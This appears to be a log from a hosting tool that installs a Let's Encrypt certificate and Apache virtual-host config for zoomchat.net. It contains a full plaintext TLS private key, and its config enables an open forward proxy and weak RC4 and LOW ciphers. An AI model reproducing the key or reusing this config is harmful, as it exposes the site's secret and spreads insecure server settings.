cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s
2025-10-09 11:46:49:
chmod 755 /tmp/pkp743049; /tmp/pkp743049; rm /tmp/pkp743049
2025-10-09 11:46:49:
2025-10-09 11:46:49: Establishing a connection
2025-10-09 11:46:50:
PUT: /tmp/pkp552536
#!/bin/bash
temp_file=$(mktemp)
TARGET=d7a3fc3cb644d42495f9e28d766d3339.crt
cat > $temp_file <<'endmsg'
95:91:e0:bb:bb:07:73:90:7e:9c:1a:0a:8e:70:d7:d2
-----BEGIN CERTIFICATE-----
MIIE9DCCA9ygAwIBAgISBlkEnOoGGKco9HSOzNrmFaROMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTA0ODE2WhcNMjYwMTA3MTA0ODE1WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT
whxBb/gQtsijSH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnU
bBf584L65o6A89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/Ypo
POoQaHYV1fUMIzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIh
UMRufCNBfrcvDAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP
6thrsxFq7UdwH1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJ
AgPR6Qm3ouog70/gWHBrAgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFKUbybvBJm3oVpaNDWWbMStMRF5XMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZyMuLPgAABAMARzBFAiBZzmYJoPJf
9v31XsJ5gMse0ptV0YnsvXUUewkyRxU0DAIhAOqZcAMf6VzJg8PavrUvBgXyKzd3
CqrBLGcNYfdwO0p/AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGZyMuLxwAABAMARzBFAiAtmCkDmCfoX8QTe8YgHnfYYP5yBLuPR7zKMItP556k
ewIhAOouKo/ge2UNdSxABEElyGQKYQFklv801TLkLmS5AAccMA0GCSqGSIb3DQEB
CwUAA4IBAQAJH8i49lhYI2Jl8A8MwZw0YbpRpO51BOcLaKLuduCoYV7ludF8x3yM
kNlKmWDm+qBNaiF2FUwZn2NNX2l6KMk1RGlJmD7yI/D8DT1OyGMuSETddw5qshk0
afDYqbkw4mTGT9Si8uXV4EOpPB4ptZ9P8zBTuHSs/4FbrJipFP4cTPQDvgqpURK5
vh2fe/o++XKx8D8jVNoR3BQStkXiPAqqZ+GCJgM+SUoH2GEYwLNnRi6ZBOJVr9P/
NDqAFF9lXbVrq3MMgHXlmoYhXVsNhG+MqGk5mzbRfv9CCWHgZPFEYxO14M4u4AoY
8Oo8NVxOUx62MIlnlQuRIJtKt0/dTHt4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDTwhxBb/gQtsij
SH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnUbBf584L65o6A
89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/YpoPOoQaHYV1fUM
IzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIhUMRufCNBfrcv
DAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP6thrsxFq7Udw
H1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJAgPR6Qm3ouog
70/gWHBrAgMBAAECggEBANMR7HAdVznxt1Np85yHzYQ/a5fGcuHVicJ1E6z8WZJ3
InJI6l9buWDLzBkQFgLrZKajh9KQssG8BdbrPu5E5bm8Y36e/JjtvpWYzwig+kdN
JgkzFt7T6rkT3aJwa+Kjoc38yaHJPcrOFQ8gGSDAyKYCyW7Jb+83FmhZjuJfdrOm
1bpgKLyv8Qcf7Obmzi6oH2+cCdVXRvr/Qv0QBL4cP+mRNKyLkRMqK9XcyZfZ+k2c
TQv7M+eydl5re6dbD5ALDhIU/wzXHqFyko83iE6mDseDcsSy5xI0z/29aXt2npEh
vHBZfF0sfHvNR91IU5GxkvKZ+KmJWoxlAPwQMJwTzYECgYEA9LfbGbAVxS/ei751
ltT40LcVYr0Nosrbf033XziZS6zHfzy7iE9P+oYx9o4IKK/vGsKBDo/Dd2CWG9Mo
UxIHr6IMuBK5CkGwUwJs4Oix7GSnq0t8uxXiOC2ioLE0e2XknPkzjr3Toj6lrWKQ
8dNnRWaz97xw9f8hkaofBEfqSFECgYEA3YVDkbxv4NQxeK4SsNnhHGscosn1tBsh
MjgRq7caBHopA5+rSBoQzZqrXckvlvUw1UcQ+0igLpIjqQ52KeQs66KevrpMc/LC
oyCUh1mGEeJKeIsuwfwEis9n3PK8XoEto01zazhbhgEm6nZ6Vi0GOBEW3yC7Y2C5
GUFm46IRufsCgYEArqrf9rjJASKGrKW3ln3STl6vI/eeWPiDrJzAmLV0LSBYkEeP
7t31TvIjjUCZMDlK54W2yebw9C77VUbk/E3dMI3wmB2890YljUoo3msYO4soZcoO
cBZRjhl8f0ecFwuGHkh8dUCmYqJmbJfyrrheeJmykHtvARYmJqsPUmXmIdECgYEA
r5M4gwJACoskyuntlo6ahdO/1qcMP7xhC1S1bMyrqnDIoT6km3lNaCj3OlaDibq9
Ac5Z/1EI5OCfsxbrQTjBAeLav4EZp6z56CGil8S1Juec7v4iCU6eqwbI467g7mak
rZJtsMXyhLvVBHDzdeopy7Z/0ko3PAUlsIbN7g4+zpECgYB/s+G9YasxKJraEIRl
v7ZRt8SrJ5xhgUeamYKVA4FsZfiyHBbtNRwJqA+G7/yqsXkvhAViqPNh4CcM6EJF
mHeHouxtJRo5efxKYsbkhTH/TiYOUvdt8ODpXWspB0xUKemdtVIHz5ej+LQmyhB+
HbOZ65+yXpoIjuHeiXQH7tDnpw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 11:46:51:
chmod 755 /tmp/pkp552536; /tmp/pkp552536; rm /tmp/pkp552536
2025-10-09 11:46:52:
dir=/etc/pki/tls/certs/
2025-10-09 11:46:52:
PUT: /tmp/pkp907430
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/zoomchat_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 11:46:52:
chmod 755 /tmp/pkp907430; /tmp/pkp907430; rm /tmp/pkp907430
2025-10-09 11:46:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2270
<VirtualHost *:80>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:46:52:
PUT: /tmp/pkp791751
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_net.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/zoomchat_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/zoomchat_www_net.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf= 1'
fi
2025-10-09 11:46:53:
chmod 755 /tmp/pkp791751; /tmp/pkp791751; rm /tmp/pkp791751
2025-10-09 11:46:53:
2025-10-09 11:46:53:
PUT: /tmp/pkp514396
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 11:46:54:
chmod 755 /tmp/pkp514396; /tmp/pkp514396; rm /tmp/pkp514396
2025-10-09 11:46:54:
.
2025-10-09 11:46:54: Establishing a connection
2025-10-09 11:46:55:
PUT: /tmp/pkp526899
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 11:46:56:
chmod 755 /tmp/pkp526899; /tmp/pkp526899; rm /tmp/pkp526899
2025-10-09 11:46:57:
[Thu Oct 09 11:46:57.073913 2025] [so:warn] [pid 224938:tid 140067206383936] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Thu Oct 09 11:46:57.073913 2025] [so:warn] [pid 224938:tid 140067206383936] AH01574: module status_module is already loaded, skipping
2025-10-09 11:46:57:
PUT: /tmp/pkp128149
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/zoomchat_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:46:57:
chmod 755 /tmp/pkp128149; /tmp/pkp128149; rm /tmp/pkp128149
2025-10-09 11:46:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2270
<VirtualHost *:80>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:46:57:
PUT: /tmp/pkp170893
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:46:58:
chmod 755 /tmp/pkp170893; /tmp/pkp170893; rm /tmp/pkp170893
2025-10-09 11:46:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt 5341
95:91:e0:bb:bb:07:73:90:7e:9c:1a:0a:8e:70:d7:d2
-----BEGIN CERTIFICATE-----
MIIE9DCCA9ygAwIBAgISBlkEnOoGGKco9HSOzNrmFaROMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTA0ODE2WhcNMjYwMTA3MTA0ODE1WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT
whxBb/gQtsijSH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnU
bBf584L65o6A89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/Ypo
POoQaHYV1fUMIzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIh
UMRufCNBfrcvDAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP
6thrsxFq7UdwH1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJ
AgPR6Qm3ouog70/gWHBrAgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFKUbybvBJm3oVpaNDWWbMStMRF5XMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZyMuLPgAABAMARzBFAiBZzmYJoPJf
9v31XsJ5gMse0ptV0YnsvXUUewkyRxU0DAIhAOqZcAMf6VzJg8PavrUvBgXyKzd3
CqrBLGcNYfdwO0p/AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGZyMuLxwAABAMARzBFAiAtmCkDmCfoX8QTe8YgHnfYYP5yBLuPR7zKMItP556k
ewIhAOouKo/ge2UNdSxABEElyGQKYQFklv801TLkLmS5AAccMA0GCSqGSIb3DQEB
CwUAA4IBAQAJH8i49lhYI2Jl8A8MwZw0YbpRpO51BOcLaKLuduCoYV7ludF8x3yM
kNlKmWDm+qBNaiF2FUwZn2NNX2l6KMk1RGlJmD7yI/D8DT1OyGMuSETddw5qshk0
afDYqbkw4mTGT9Si8uXV4EOpPB4ptZ9P8zBTuHSs/4FbrJipFP4cTPQDvgqpURK5
vh2fe/o++XKx8D8jVNoR3BQStkXiPAqqZ+GCJgM+SUoH2GEYwLNnRi6ZBOJVr9P/
NDqAFF9lXbVrq3MMgHXlmoYhXVsNhG+MqGk5mzbRfv9CCWHgZPFEYxO14M4u4AoY
8Oo8NVxOUx62MIlnlQuRIJtKt0/dTHt4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDTwhxBb/gQtsij
SH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnUbBf584L65o6A
89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/YpoPOoQaHYV1fUM
IzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIhUMRufCNBfrcv
DAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP6thrsxFq7Udw
H1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJAgPR6Qm3ouog
70/gWHBrAgMBAAECggEBANMR7HAdVznxt1Np85yHzYQ/a5fGcuHVicJ1E6z8WZJ3
InJI6l9buWDLzBkQFgLrZKajh9KQssG8BdbrPu5E5bm8Y36e/JjtvpWYzwig+kdN
JgkzFt7T6rkT3aJwa+Kjoc38yaHJPcrOFQ8gGSDAyKYCyW7Jb+83FmhZjuJfdrOm
1bpgKLyv8Qcf7Obmzi6oH2+cCdVXRvr/Qv0QBL4cP+mRNKyLkRMqK9XcyZfZ+k2c
TQv7M+eydl5re6dbD5ALDhIU/wzXHqFyko83iE6mDseDcsSy5xI0z/29aXt2npEh
vHBZfF0sfHvNR91IU5GxkvKZ+KmJWoxlAPwQMJwTzYECgYEA9LfbGbAVxS/ei751
ltT40LcVYr0Nosrbf033XziZS6zHfzy7iE9P+oYx9o4IKK/vGsKBDo/Dd2CWG9Mo
UxIHr6IMuBK5CkGwUwJs4Oix7GSnq0t8uxXiOC2ioLE0e2XknPkzjr3Toj6lrWKQ
8dNnRWaz97xw9f8hkaofBEfqSFECgYEA3YVDkbxv4NQxeK4SsNnhHGscosn1tBsh
MjgRq7caBHopA5+rSBoQzZqrXckvlvUw1UcQ+0igLpIjqQ52KeQs66KevrpMc/LC
oyCUh1mGEeJKeIsuwfwEis9n3PK8XoEto01zazhbhgEm6nZ6Vi0GOBEW3yC7Y2C5
